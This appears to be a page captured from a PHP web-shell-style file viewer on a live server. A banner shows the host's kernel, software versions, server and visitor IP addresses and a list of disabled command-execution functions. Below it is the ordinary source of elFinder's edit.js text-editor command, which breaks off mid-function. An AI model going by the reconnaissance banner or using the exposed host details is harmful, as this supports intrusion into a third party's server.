Uname: Linux baohanhelectrolux 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
Software: nginx/1.24.0
PHP version: 8.4.24 [ PHP INFO ] PHP os: Linux
Server Ip: 103.90.227.231
Your Ip: 216.73.217.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : edit.js
/**
 * @class elFinder command "edit". 
 * Edit text file in dialog window
 *
 * @author Dmitry (dio) Levashov, dio@std42.ru
 **/
 elFinder.prototype.commands.edit = function() {
	"use strict";
	var self  = this,
		fm    = this.fm,
		clsEditing = fm.res('class', 'editing'),
		mimesSingle = [],
		mimes = [],
		allowAll = false,
		rtrim = function(str){
			return str.replace(/\s+$/, '');
		},
		getEncSelect = function(heads) {
			var sel = jQuery('<select class="ui-corner-all"></select>'),
				hval;
			if (heads) {
				jQuery.each(heads, function(i, head) {
					hval = fm.escape(head.value);
					sel.append('<option value="'+hval+'">'+(head.caption? fm.escape(head.caption) : hval)+'</option>');
				});
			}
			jQuery.each(self.options.encodings, function(i, v) {
				sel.append('<option value="'+v+'">'+v+'</option>');
			});
			return sel;
		},
		getDlgWidth = function() {
			var win = fm.options.dialogContained? fm.getUI() : jQuery(window),
				m, width;
			if (typeof self.options.dialogWidth === 'string' && (m = self.options.dialogWidth.match(/(\d+)%/))) {
				width = parseInt(win.width() * (m[1] / 100));
			} else {
				width = parseInt(self.options.dialogWidth || 650);
			}
			return Math.min(width, win.width());
		},
		getDlgHeight = function() {
			if (!self.options.dialogHeight) {
				return void(0);
			}
			var win = fm.options.dialogContained? fm.getUI() : jQuery(window),
				m, height;
			if (typeof self.options.dialogHeight === 'string' && (m = self.options.dialogHeight.match(/(\d+)%/))) {
				height = parseInt(win.height() * (m[1] / 100));
			} else {
				height = parseInt(self.options.dialogHeight || win.height());
			}
			return Math.min(height, win.height());
		},

		/**
		 * Return files acceptable to edit
		 *
		 * @param  Array  files hashes
		 * @return Array
		 **/
		filter = function(files) {
			var cnt = files.length,
				mime, ext, skip;
			
			if (cnt > 1) {
				mime = files[0].mime;
				ext = files[0].name.replace(/^.*(\.[^.]+)$/, '$1');
			}
			return jQuery.grep(files, function(file) {
				var res;
				if (skip || file.mime === 'directory') {
					return false;
				}
				res = file.read
					&& (allowAll || fm.mimeIsText(file.mime) || jQuery.inArray(file.mime, cnt === 1? mimesSingle : mimes) !== -1) 
					&& (!self.onlyMimes.length || jQuery.inArray(file.mime, self.onlyMimes) !== -1)
					&& (cnt === 1 || (file.mime === mime && file.name.substr(ext.length * -1) === ext))
					&& (fm.uploadMimeCheck(file.mime, file.phash)? true : false)
					&& setEditors(file, cnt)
					&& Object.keys(editors).length;
				if (!res) {
					skip = true;
				}
				return res;
			});
		},

		fileSync = function(hash) {
			var old = fm.file(hash),
				f;
			fm.request({
				cmd: 'info',
				targets: [hash],
				preventDefault: true
			}).done(function(data) {
				var changed;
				if (data && data.files && data.files.length) {
					f = data.files[0];
					if (old.ts != f.ts || old.size != f.size) {
						changed = { changed: [ f ] };
						fm.updateCache(changed);
						fm.change(changed);
					}
				}
			});
		},

		/**
		 * Open dialog with textarea to edit file
		 *
		 * @param  String  id       dialog id
		 * @param  Object  file     file object
		 * @param  String  content  file content
		 * @return jQuery.Deferred
		 **/
		dialog = function(id, file, content, encoding, editor, toasts) {

			var dfrd = jQuery.Deferred(),
				_loaded = false,
				loaded = function() {
					if (!_loaded) {
						fm.toast({
							mode: 'warning',
							msg: fm.i18n('nowLoading')
						});
						return false;
					}
					return true;
				},
				makeToasts = function() {
					// make toast message
					if (toasts && Array.isArray(toasts)) {
						jQuery.each(toasts, function() {
							this.msg && fm.toast(this);
						});
					}
				},
				save = function() {
					var encord = selEncoding? selEncoding.val():void(0),
						saveDfd = jQuery.Deferred().fail(function(err) {
							dialogNode.show().find('button.elfinder-btncnt-0,button.elfinder-btncnt-1').hide();
						}),
						conf, res, tm;
					if (!loaded()) {
						return saveDfd.resolve();
					}
					if (ta.editor) {
						ta.editor.save(ta[0], ta.editor.instance);
						conf = ta.editor.confObj;
						if (conf.info && (conf.info.schemeContent || conf.info.arrayBufferContent)) {
							encord = 'scheme';
						}
					}
					res = getContent();
					setOld(res);
					if (res.promise) {
						tm = setTimeout(function() {
							fm.notify({
								type : 'chkcontent',
								cnt : 1,
								hideCnt: true,
								cancel : function() {
									res.reject();
								}
							});
						}, 100);
						res.always(function() {
							tm && clearTimeout(tm);
							fm.notify({ type : 'chkcontent', cnt: -1 });
						}).done(function(data) {
							dfrd.notifyWith(ta, [encord, ta.data('hash'), old, saveDfd]);
						}).fail(function(err) {
							saveDfd.reject(err);
						});
					} else {
						dfrd.notifyWith(ta, [encord, ta.data('hash'), old, saveDfd]);
					}
					return saveDfd;
				},
				saveon = function() {
					if (!loaded()) { return; }
					save().fail(function(err) {
						err && fm.error(err);
					});
				},
				cancel = function() {
					ta.elfinderdialog('close');
				},
				savecl = function() {
					if (!loaded()) { return; }
					dialogNode.hide();
					save().done(function() {
						_loaded = false;
						dialogNode.show();
						cancel();
					}).fail(function(err) {
						dialogNode.show();
						err && fm.error(err);
					});
				},
				saveAs = function() {
					if (!loaded()) { return; }
					var prevOld = old,
						phash = file.phash,
						fail = function(err) {
							dialogs.addClass(clsEditing).fadeIn(function() {
								err && fm.error(err);
							});
							old = prevOld;
							fm.disable();
						},
						make = function() {
							self.mime = saveAsFile.mime || file.mime;
							self.prefix = (saveAsFile.name || file.name).replace(/ \d+(\.[^.]+)?$/, '$1');
							self.requestCmd = 'mkfile';
							self.nextAction = {};
							self.data = {target : phash};
							jQuery.proxy(fm.res('mixin', 'make'), self)()
								.done(function(data) {
									var oldHash;
									if (data.added && data.added.length) {
										oldHash = ta.data('hash');
										ta.data('hash', data.added[0].hash);
										save().done(function() {
											_loaded = false;
											dialogNode.show();
											cancel();
											dialogs.fadeIn();
										}).fail(function() {
											fm.exec('rm', [data.added[0].hash], { forceRm: true, quiet: true });
											ta.data('hash', oldHash);
											dialogNode.find('button.elfinder-btncnt-2').hide();
											fail();
										});
									} else {
										fail();
									}
								})
								.progress(function(err) {
									if (err && err === 'errUploadMime') {
										ta.trigger('saveAsFail');
									}
								})
								.fail(fail)
								.always(function() {
									delete self.mime;
									delete self.prefix;
									delete self.nextAction;
									delete self.data;
								});
							fm.trigger('unselectfiles', { files: [ file.hash ] });
						},
						reqOpen = null,
						reqInfo = null,
						dialogs = fm.getUI().children('.' + self.dialogClass + ':visible');
						if (dialogNode.is(':hidden')) {
							dialogs = dialogs.add(dialogNode);
						}
						dialogs.removeClass(clsEditing).fadeOut();
					
					fm.enable();
					
					if (fm.searchStatus.state < 2 && phash !== fm.cwd().hash) {
						reqOpen = fm.exec('open', [phash], {thash: phash});
					} else if (!fm.file(phash)) {
						reqInfo = fm.request({cmd: 'info', targets: [phash]}); 
					}
					
					jQuery.when([reqOpen, reqInfo]).done(function() {
						if (reqInfo) {
							fm.one('infodone', function() {
								fm.file(phash)? make() : fail('errFolderNotFound');
							});
						} else {
							reqOpen? fm.one('cwdrender', make) : make();
						}
					}).fail(fail);
				},
				changed = function() {
					var dfd = jQuery.Deferred(),
						res, tm;
					if (!_loaded) {
						return dfd.resolve(false);
					}
					ta.editor && ta.editor.save(ta[0], ta.editor.instance);
					res = getContent();
					if (res && res.promise) {
						tm = setTimeout(function() {
							fm.notify({
								type : 'chkcontent',
								cnt : 1,
								hideCnt: true,
								cancel : function() {
									res.reject();
								}
							});
						}, 100);
						res.always(function() {
							tm && clearTimeout(tm);
							fm.notify({ type : 'chkcontent', cnt: -1 });
						}).done(function(d) {
							dfd.resolve(old !== d);
						}).fail(function(err) {
							dfd.resolve(err || (old === undefined? false : true));
						});
					} else {
						dfd.resolve(old !== res);
					}
					return dfd;
				},
				opts = {
					title   : fm.escape(file.name),
					width   : getDlgWidth(),
					height  : getDlgHeight(),
					buttons : {},
					cssClass  : clsEditing,
					maxWidth  : 'window',
					maxHeight : 'window',
					allowMinimize : true,
					allowMaximize : true,
					openMaximized : editorMaximized() || (editor && editor.info && editor.info.openMaximized),
					btnHoverFocus : false,
					closeOnEscape : false,
					propagationEvents : ['mousemove', 'mouseup', 'click'],
					minimize : function() {
						var conf;
						if (ta.editor && dialogNode.closest('.ui-dialog').is(':hidden')) {
							conf = ta.editor.confObj;
							if (conf.info && conf.info.syncInterval) {
								fileSync(file.hash);
							}
						}
					},
					close   : function() {
						var close = function() {
								var conf;
								dfrd.resolve();
								if (ta.editor) {
									ta.editor.close(ta[0], ta.editor.instance);
									conf = ta.editor.confObj;
									if (conf.info && conf.info.syncInterval) {
										fileSync(file.hash);
									}
								}
								ta.elfinderdialog('destroy');
							},
							onlySaveAs = (typeof saveAsFile.name !== 'undefined'),
							accept = onlySaveAs? {
								label    : 'btnSaveAs',
								callback : function() {
									requestAnimationFrame(saveAs);
								}
							} : {
								label    : 'btnSaveClose',
								callback : function() {
									save().done(function() {
										close();
									});
								}
							};
						changed().done(function(change) {
							var msgs = ['confirmNotSave'];
							if (change) {
								if (typeof change === 'string') {
									msgs.unshift(change);
								}
								fm.confirm({
									title  : self.title,
									text   : msgs,
									accept : accept,
									cancel : {
										label    : 'btnClose',
										callback : close
									},
									buttons : onlySaveAs? null : [{
										label    : 'btnSaveAs',
										callback : function() {
											requestAnimationFrame(saveAs);
										}
									}]
								});
							} else {
								close();
							}
						});
					},
					open    : function() {
						var loadRes, conf, interval;
						ta.initEditArea.call(ta, id, file, content, fm);
						if (ta.editor) {
							loadRes = ta.editor.load(ta[0]) || null;
							if (loadRes && loadRes.done) {
								loadRes.always(function() {
									_loaded = true;
								}).done(function(instance) {
									ta.editor.instance = instance;
									ta.editor.focus(ta[0], ta.editor.instance);
									setOld(getContent());
									requestAnimationFrame(function() {
										dialogNode.trigger('resize');
									});
								}).fail(function(error) {
									error && fm.error(error);
									ta.elfinderdialog('destroy');
									return;
								}).always(makeToasts);
							} else {
								_loaded = true;
								if (loadRes && (typeof loadRes === 'string' || Array.isArray(loadRes))) {
									fm.error(loadRes);
									ta.elfinderdialog('destroy');
									return;
								}
								ta.editor.instance = loadRes;
								ta.editor.focus(ta[0], ta.editor.instance);
								setOld(getContent());
								requestAnimationFrame(function() {
									dialogNode.trigger('resize');
								});
								makeToasts();
							}
							conf = ta.editor.confObj;
							if (conf.info && conf.info.syncInterval) {
								if (interval = parseInt(conf.info.syncInterval)) {
									setTimeout(function() {
										autoSync(interval);
									}, interval);
								}
							}
						} else {
							_loaded = true;
							setOld(getContent());
						}
					},
					resize : function(e, data) {
						ta.editor && ta.editor.resize(ta[0], ta.editor.instance, e, data || {});
					}
				},
				getContent = function() {
					var res = ta.getContent.call(ta, ta[0]);
					if (res === undefined || res === false || res === null) {
						res = jQuery.Deferred().reject();
					}
					return res;
				},
				setOld = function(res) {
					if (res && res.promise) {
						res.done(function(d) {
							old = d;
						});
					} else {
						old = res;
					}
				},
				autoSync = function(interval) {
					if (dialogNode.is(':visible')) {
						fileSync(file.hash);
						setTimeout(function() {
							autoSync(interval);
						}, interval);
					}
				},
				stateChange = function() {
					if (selEncoding) {
						changed().done(function(change) {
							if (change) {
								selEncoding.attr('title', fm.i18n('saveAsEncoding')).addClass('elfinder-edit-changed');
							} else {
								selEncoding.attr('title', fm.i18n('openAsEncoding')).removeClass('elfinder-edit-changed');
							}
						});
					}
				},
				saveAsFile = {},
				ta, old, dialogNode, selEncoding, extEditor, maxW, syncInterval;
				
			if (editor) {
				if (editor.html) {
					ta = jQuery(editor.html);
				}
				extEditor = {
					init     : editor.init || null,
					load     : editor.load,
					getContent : editor.getContent || null,
					save     : editor.save,
					beforeclose : typeof editor.beforeclose == 'function' ? editor.beforeclose : void 0,
					close    : typeof editor.close == 'function' ? editor.close : function() {},
					focus    : typeof editor.focus == 'function' ? editor.focus : function() {},
					resize   : typeof editor.resize == 'function' ? editor.resize : function() {},
					instance : null,
					doSave   : saveon,
					doCancel : cancel,
					doClose  : savecl,
					file     : file,
					fm       : fm,
					confObj  : editor,
					trigger  : function(evName, data) {
						fm.trigger('editEditor' + evName, Object.assign({}, editor.info || {}, data));
					}
				};
			}
			
			if (!ta) {
				if (!fm.mimeIsText(file.mime)) {
					return dfrd.reject('errEditorNotFound');
				}
				(function() {
					ta = jQuery('<textarea class="elfinder-file-edit" rows="20" id="'+id+'-ta"></textarea>')
						.on('input propertychange', stateChange);
					
					if (!editor || !editor.info || editor.info.useTextAreaEvent) {
						ta.on('keydown', function(e) {
							var code = e.keyCode,
								value, start;
							
							e.stopPropagation();
							if (code == jQuery.ui.keyCode.TAB) {
								e.preventDefault();
								// insert tab on tab press
								if (this.setSelectionRange) {
									value = this.value;
									start = this.selectionStart;
									this.value = value.substr(0, start) + "\t" + value.substr(this.selectionEnd);
									start += 1;
									this.setSelectionRange(start, start);
								}
							}
							
							if (e.ctrlKey || e.metaKey) {
								// close on ctrl+w/q
								if (code == 'Q'.charCodeAt(0) || code == 'W'.charCodeAt(0)) {
									e.preventDefault();
									cancel();
								}
								if (code == 'S'.charCodeAt(0)) {
									e.preventDefault();
									saveon();
								}
							}
							
						})
						.on('mouseenter', function(){this.focus();});
					}

					ta.initEditArea = function(id, file, content) {
						// ta.hide() for performance tune. Need ta.show() in `load()` if use textarea node.
						ta.hide().val(content);
						this._setupSelEncoding(content);
					};
				})();
			}

			// extended function to setup selector of encoding for text editor
			ta._setupSelEncoding = function(content) {
				var heads = (encoding && encoding !== 'unknown')? [{value: encoding}] : [],
					wfake = jQuery('<select></select>').hide(),
					setSelW = function(init) {
						init && wfake.appendTo(selEncoding.parent());
						wfake.empty().append(jQuery('<option></option>').text(selEncoding.val()));
						selEncoding.width(wfake.width());
					};
				if (content === '' || ! encoding || encoding !== 'UTF-8') {
					heads.push({value: 'UTF-8'});
				}
				selEncoding = getEncSelect(heads).on('touchstart', function(e) {
					// for touch punch event handler
					e.stopPropagation();
				}).on('change', function() {
					// reload to change encoding if not edited
					changed().done(function(change) {
						if (! change && getContent() !== '') {
							cancel();
							edit(file, selEncoding.val(), editor).fail(function(err) { err && fm.error(err); });
						}
					});
					setSelW();
				}).on('mouseover', stateChange);
				ta.parent().next().prepend(jQuery('<div class="ui-dialog-buttonset elfinder-edit-extras"></div>').append(selEncoding));
				setSelW(true);
			};

			ta.data('hash', file.hash);
			
			if (extEditor) {
				ta.editor = extEditor;
				
				if (typeof extEditor.beforeclose === 'function') {
					opts.beforeclose = function() {
						return extEditor.beforeclose(ta[0], extEditor.instance);
					};
				}
				
				if (typeof extEditor.init === 'function') {
					ta.initEditArea = extEditor.init;
				}
				
				if (typeof extEditor.getContent === 'function') {
					ta.getContent = extEditor.getContent;
				}
			}
			
			if (! ta.initEditArea) {
				ta.initEditArea = function() {};
			}
			
			if (! ta.getContent) {
				ta.getContent = function() {
					return rtrim(ta.val());
				};
			}
			
			if (!editor || !editor.info || !editor.info.preventGet) {
				opts.buttons[fm.i18n('btnSave')]      = saveon;
				opts.buttons[fm.i18n('btnSaveClose')] = savecl;
				opts.buttons[fm.i18n('btnSaveAs')]    = saveAs;
				opts.buttons[fm.i18n('btnCancel')]    = cancel;
			}
			
			if (editor && typeof editor.prepare === 'function') {
				editor.prepare(ta, opts, file);
			}
			
			dialogNode = self.fmDialog(ta, opts)
				.attr('id', id)
				.on('keydown keyup keypress', function(e) {
					e.stopPropagation();
				})
				.css({ overflow: 'hidden', minHeight: '7em' })
				.addClass('elfinder-edit-editor')
				.closest('.ui-dialog')
				.on('changeType', function(e, data) {
					if (data.extention && data.mime) {
						var ext = data.extention,
							mime = data.mime,
							btnSet = jQuery(this).children('.ui-dialog-buttonpane').children('.ui-dialog-buttonset');
						btnSet.children('.elfinder-btncnt-0,.elfinder-btncnt-1').hide();
						saveAsFile.name = fm.splitFileExtention(file.name)[0] + '.' + data.extention;
						saveAsFile.mime = data.mime;
						if (!data.keepEditor) {
							btnSet.children('.elfinder-btncnt-2').trigger('click');
						}
					}
				});
			
			// care to viewport scale change with mobile devices
			maxW = (fm.options.dialogContained? fm.getUI() : jQuery(window)).width();
			(dialogNode.width() > maxW) && dialogNode.width(maxW);
			
			return dfrd.promise();
		},
		
		/**
		 * Get file content and
		 * open dialog with textarea to edit file content
		 *
		 * @param  String  file hash
		 * @return jQuery.Deferred
		 **/
		edit = function(file, convert, editor) {
			var hash   = file.hash,
				opts   = fm.options,
				dfrd   = jQuery.Deferred(), 
				id     = 'edit-'+fm.namespace+'-'+file.hash,
				d      = fm.getUI().find('#'+id),
				conv   = !convert? 0 : convert,
				noContent = false,
				req, error, res;
			
			
			if (d.length) {
				d.elfinderdialog('toTop');
				return dfrd.resolve();
			}
			
			if (!file.read || (!file.write && (!editor.info || !editor.info.converter))) {
				error = ['errOpen', file.name, 'errPerm'];
				return dfrd.reject(error);
			}
			
			if (editor && editor.info) {
				if (typeof editor.info.edit === 'function') {
					res = editor.info.edit.call(fm, file, editor);
					if (res.promise) {
						res.done(function() {
							dfrd.resolve();
						}).fail(function(error) {
							dfrd.reject(error);
						});
					} else {
						res? dfrd.resolve() : dfrd.reject();
					}
					return dfrd;
				}

				noContent = editor.info.preventGet || editor.info.noContent;
				if (editor.info.urlAsContent || noContent) {
					req = jQuery.Deferred();
					if (editor.info.urlAsContent) {
						fm.url(hash, { async: true, onetime: true, temporary: true }).done(function(url) {
							req.resolve({content: url});
						});
					} else {
						req.resolve({});
					}
				} else {
					if (conv) {
						file.encoding = conv;
						fm.cache(file, 'change');
					}
					req = fm.request({
						data           : {cmd : 'get', target : hash, conv : conv, _t : file.ts},
						options        : {type: 'get', cache : true},
						notify         : {type : 'file', cnt : 1},
						preventDefault : true
					});
				}

				req.done(function(data) {
					var selEncoding, reg, m, res;
					if (data.doconv) {
						fm.confirm({
							title  : self.title,
							text   : data.doconv === 'unknown'? 'confirmNonUTF8' : 'confirmConvUTF8',
							accept : {
								label    : 'btnConv',
								callback : function() {  
									dfrd = edit(file, selEncoding.val(), editor);
								}
							},
							cancel : {
								label    : 'btnCancel',
								callback : function() { dfrd.reject(); }
							},
							optionsCallback : function(options) {
								options.create = function() {
									var base = jQuery('<div class="elfinder-dialog-confirm-encoding"></div>'),
										head = {value: data.doconv},
										detected;
									
									if (data.doconv === 'unknown') {
										head.caption = '-';
									}
									selEncoding = getEncSelect([head]);
									jQuery(this).next().find('.ui-dialog-buttonset')
										.prepend(base.append(jQuery('<label>'+fm.i18n('encoding')+' </label>').append(selEncoding)));
								};
							}
						});
					} else {
						if (!noContent && fm.mimeIsText(file.mime)) {
							reg = new RegExp('^(data:'+file.mime.replace(/([.+])/g, '\\$1')+';base64,)', 'i');
							if (!editor.info.dataScheme) {
								if (window.atob && (m = data.content.match(reg))) {
									data.content = atob(data.content.substr(m[1].length));
								}
							} else {
								if (window.btoa && !data.content.match(reg)) {
									data.content = 'data:'+file.mime+';base64,'+btoa(data.content);
								}
							}
						}
						dialog(id, file, data.content, data.encoding, editor, data.toasts)
							.done(function(data) {
								dfrd.resolve(data);
							})
							.progress(function(encoding, newHash, data, saveDfd) {
								var ta = this;
								if (newHash) {
									hash = newHash;
								}
								fm.request({
									options : {type : 'post'},
									data : {
										cmd     : 'put',
										target  : hash,
										encoding : encoding || data.encoding,
										content : data
									},
									notify : {type : 'save', cnt : 1},
									syncOnFail : true,
									preventFail : true,
									navigate : {
										target : 'changed',
										toast : {
											inbuffer : {msg: fm.i18n(['complete', fm.i18n('btnSave')])}
										}
									}
								})
								.fail(function(error) {
									dfrd.reject(error);
									saveDfd.reject();
								})
								.done(function(data) {
									requestAnimationFrame(function(){
										ta.trigger('focus');
										ta.editor && ta.editor.focus(ta[0], ta.editor.instance);
									});
									saveDfd.resolve();
								});
							})
							.fail(function(error) {
								dfrd.reject(error);
							});
					}
				})
				.fail(function(error) {
					var err = fm.parseError(error);
					err = Array.isArray(err)? err[0] : err;
					if (file.encoding) {
						file.encoding = '';
						fm.cache(file, 'change');
					}
					(err !== 'errConvUTF8') && fm.sync();
					dfrd.reject(error);
				});
			}

			return dfrd.promise();
		},
		
		/**
		 * Current editors of selected files
		 * 
		 * @type Object
		 */
		editors = {},
		
		/**
		 * Fallback editor (Simple text editor)
		 * 
		 * @type Object
		 */
		fallbackEditor = {
			// Simple Text (basic textarea editor)
			info : {
				id : 'textarea',
				name : 'TextArea',
				useTextAreaEvent : true
			},
			load : function(textarea) {
				// trigger event 'editEditorPrepare'
				this.trigger('Prepare', {
					node: textarea,
					editorObj: void(0),
					instance: void(0),
					opts: {}
				});
				textarea.setSelectionRange && textarea.setSelectionRange(0, 0);
				jQuery(textarea).trigger('focus').show();
			},
			save : function(){}
		},

		/**
		 * Set current editors
		 * 
		 * @param  Object  file object
		 * @param  Number  cnt  count of selected items
		 * @return Void
		 */
		setEditors = function(file, cnt) {
			var mimeMatch = function(fileMime, editorMimes){
					if (!editorMimes) {
						return fm.mimeIsText(fileMime);
					} else {
						if (editorMimes[0] === '*' || jQuery.inArray(fileMime, editorMimes) !== -1) {
							return true;
						}
						var i, l;
						l = editorMimes.length;
						for (i = 0; i < l; i++) {
							if (fileMime.indexOf(editorMimes[i]) === 0) {
								return true;
							}
						}
						return false;
					}
				},
				extMatch = function(fileName, editorExts){
					if (!editorExts || !editorExts.length) {
						return true;
					}
					var ext = fileName.replace(/^.+\.([^.]+)|(.+)$/, '$1$2').toLowerCase(),
					i, l;
					l = editorExts.length;
					for (i = 0; i < l; i++) {
						if (ext === editorExts[i].toLowerCase()) {
							return true;
						}
					}
					return false;
				},
				optEditors = self.options.editors || [],
				cwdWrite = fm.cwd().write;
			
			stored = fm.storage('storedEditors') || {};
			editors = {};
			if (!optEditors.length) {
				optEditors = [fallbackEditor];
			}
			jQuery.each(optEditors, function(i, editor) {
				var name;
				if ((cnt === 1 || !editor.info.single)
						&& ((!editor.info || !editor.info.converter)? file.write : cwdWrite)
						&& (file.size > 0 || (!editor.info.converter && editor.info.canMakeEmpty !== false && fm.mimesCanMakeEmpty[file.mime]))
						&& (!editor.info.maxSize || file.size <= editor.info.maxSize)
						&& mimeMatch(file.mime, editor.mimes || null)
						&& extMatch(file.name, editor.exts || null)
						&& typeof editor.load == 'function'
						&& typeof editor.save == 'function') {
					
					name = editor.info.name? editor.info.name : ('Editor ');
					editor.id = editor.info.id? editor.info.id : ('editor' + i),
					editor.name = name;
					editor.i18n = fm.i18n(name);
					editors[editor.id] = editor;
				}
			});
			return Object.keys(editors).length? true : false;
		},
		store = function(mime, editor) {
			if (mime && editor) {
				if (!jQuery.isPlainObject(stored)) {
					stored = {};
				}
				stored[mime] = editor.id;
				fm.storage('storedEditors', stored);
				fm.trigger('selectfiles', {files : fm.selected()});
			}
		},
		useStoredEditor = function() {
			var d = fm.storage('useStoredEditor');
			return d? (d > 0) : self.options.useStoredEditor;
		},
		editorMaximized = function() {
			var d = fm.storage('editorMaximized');
			return d? (d > 0) : self.options.editorMaximized;
		},
		getSubMenuRaw = function(files, callback) {
			var subMenuRaw = [];
			jQuery.each(editors, function(id, ed) {
				subMenuRaw.push(
					{
						label    : fm.escape(ed.i18n),
						icon     : ed.info && ed.info.icon? ed.info.icon : 'edit',
						options  : { iconImg: ed.info && ed.info.iconImg? fm.baseUrl + ed.info.iconImg : void(0) },
						callback : function() {
							store(files[0].mime, ed);
							callback && callback.call(ed);
						}
					}		
				);
			});
			return subMenuRaw;
		},
		getStoreId = function(name) {
			// for compatibility to previous version
			return name.toLowerCase().replace(/ +/g, '');
		},
		getStoredEditor = function(mime) {
			var name = stored[mime];
			return name && Object.keys(editors).length? editors[getStoreId(name)] : void(0);
		},
		infoRequest = function() {

		},
		stored;
	
	// make public method
	this.getEncSelect = getEncSelect;

	this.shortcuts = [{
		pattern     : 'ctrl+e'
	}];
	
	this.init = function() {
		var self = this,
			fm   = this.fm,
			opts = this.options,
			cmdChecks = [],
			ccData, dfd;
		
		this.onlyMimes = this.options.mimes || [];
		
		fm.one('open', function() {
			// editors setup
			if (opts.editors && Array.isArray(opts.editors)) {
				fm.trigger('canMakeEmptyFile', {mimes: Object.keys(fm.storage('mkfileTextMimes') || {}).concat(opts.makeTextMimes || ['text/plain'])});
				jQuery.each(opts.editors, function(i, editor) {
					if (editor.info && editor.info.cmdCheck) {
						cmdChecks.push(editor.info.cmdCheck);
					}
				});
				if (cmdChecks.length) {
					if (fm.api >= 2.1030) {
						dfd = fm.request({
							data : {
								cmd: 'editor',
								name: cmdChecks,
								method: 'enabled'
							},
							preventDefault : true
						}).done(function(d) {
							ccData = d;
						}).fail(function() {
							ccData = {};
						});
					} else {
						ccData = {};
						dfd = jQuery.Deferred().resolve();
					}
				} else {
					dfd = jQuery.Deferred().resolve();
				}
				
				dfd.always(function() {
					if (ccData) {
						opts.editors = jQuery.grep(opts.editors, function(e) {
							if (e.info && e.info.cmdCheck) {
								return ccData[e.info.cmdCheck]? true : false;
							} else {
								return true;
							}
						});
					}
					jQuery.each(opts.editors, function(i, editor) {
						if (editor.setup && typeof editor.setup === 'function') {
							editor.setup.call(editor, opts, fm);
						}
						if (!editor.disabled) {
							if (editor.mimes && Array.isArray(editor.mimes)) {
								mimesSingle = mimesSingle.concat(editor.mimes);
								if (!editor.info || !editor.info.single) {
									mimes = mimes.concat(editor.mimes);
								}
							}
							if (!allowAll && editor.mimes && editor.mimes[0] === '*') {
								allowAll = true;
							}
							if (!editor.info) {
								editor.info = {};
							}
							if (editor.info.integrate) {
								fm.trigger('helpIntegration', Object.assign({cmd: 'edit'}, editor.info.integrate));
							}
							if (editor.info.canMakeEmpty) {
								fm.trigger('canMakeEmptyFile', {mimes: Array.isArray(editor.info.canMakeEmpty)? editor.info.canMakeEmpty : editor.mimes});
							}
						}
					});
					
					mimesSingle = (jQuery.uniqueSort || jQuery.unique)(mimesSingle);
					mimes = (jQuery.uniqueSort || jQuery.unique)(mimes);
					
					opts.editors = jQuery.grep(opts.editors, function(e) {
						return e.disabled? false : true;
					});
				});
			}
		})
		.bind('select', function() {
			editors = null;
		})
		.bind('contextmenucreate', function(e) {
			var file, editor,
				single = function(editor) {
					var title = self.title;
					fm.one('contextmenucreatedone', function() {
						self.title = title;
					});
					self.title = fm.escape(editor.i18n);
					if (editor.info && editor.info.iconImg) {
						self.contextmenuOpts = {
							iconImg: fm.baseUrl + editor.info.iconImg
						};
					}
					delete self.variants;
				};
			
			self.contextmenuOpts = void(0);
			if (e.data.type === 'files' && self.enabled()) {
				file = fm.file(e.data.targets[0]);
				if (setEditors(file, e.data.targets.length)) {
					if (Object.keys(editors).length > 1) {
						if (!useStoredEditor() || !(editor = getStoredEditor(file.mime))) {
							delete self.extra;
							self.variants = [];
							jQuery.each(editors, function(id, editor) {
								self.variants.push([{ editor: editor }, editor.i18n, editor.info && editor.info.iconImg? fm.baseUrl + editor.info.iconImg : 'edit']);
							});
						} else {
							single(editor);
							self.extra = {
								icon: 'menu',
								node: jQuery('<span></span>')
									.attr({title: fm.i18n('select')})
									.on('click touchstart', function(e){
										if (e.type === 'touchstart' && e.originalEvent.touches.length > 1) {
											return;
										}
										var node = jQuery(this);
										e.stopPropagation();
										e.preventDefault();
										fm.trigger('contextmenu', {
											raw: getSubMenuRaw(fm.selectedFiles(), function() {
												var hashes = fm.selected();
												fm.exec('edit', hashes, {editor: this});
												fm.trigger('selectfiles', {files : hashes});
											}),
											x: node.offset().left,
											y: node.offset().top
										});
									})
							};
						}
					} else {
						single(editors[Object.keys(editors)[0]]);
						delete self.extra;
					}
				}
			}
		})
		.bind('canMakeEmptyFile', function(e) {
			if (e.data && e.data.resetTexts) {
				var defs = fm.arrayFlip(self.options.makeTextMimes || ['text/plain']),
					hides = self.getMkfileHides();

				jQuery.each((fm.storage('mkfileTextMimes') || {}), function(mime, type) {
					if (!defs[mime]) {
						delete fm.mimesCanMakeEmpty[mime];
						delete hides[mime];
					}
				});
				fm.storage('mkfileTextMimes', null);
				if (Object.keys(hides).length) {
					fm.storage('mkfileHides', hides);
				} else {
					fm.storage('mkfileHides', null);
				}
			}
		});
	};
	
	this.getstate = function(select) {
		var sel = this.files(select),
			cnt = sel.length;

		return cnt && filter(sel).length == cnt ? 0 : -1;
	};
	
	this.exec = function(select, opts) {
		var fm    = this.fm, 
			files = filter(this.files(select)),
			hashes = jQuery.map(files, function(f) { return f.hash; }),
			list  = [],
			editor = opts && opts.editor? opts.editor : null,
			node = jQuery(opts && opts._currentNode? opts._currentNode : fm.cwdHash2Elm(hashes[0])),
			getEditor = function() {
				var dfd = jQuery.Deferred(),
					storedId;
				
				if (!editor && Object.keys(editors).length > 1) {
					if (useStoredEditor() && (editor = getStoredEditor(files[0].mime))) {
						return dfd.resolve(editor);
					}
					fm.trigger('contextmenu', {
						raw: getSubMenuRaw(files, function() {
							dfd.resolve(this);
						}),
						x: node.offset().left,
						y: node.offset().top + 22,
						opened: function() {
							fm.one('closecontextmenu',function() {
								requestAnimationFrame(function() {
									if (dfd.state() === 'pending') {
										dfd.reject();
									}
								});
							});
						}
					});
					
					fm.trigger('selectfiles', {files : hashes});
					
					return dfd;
				} else {
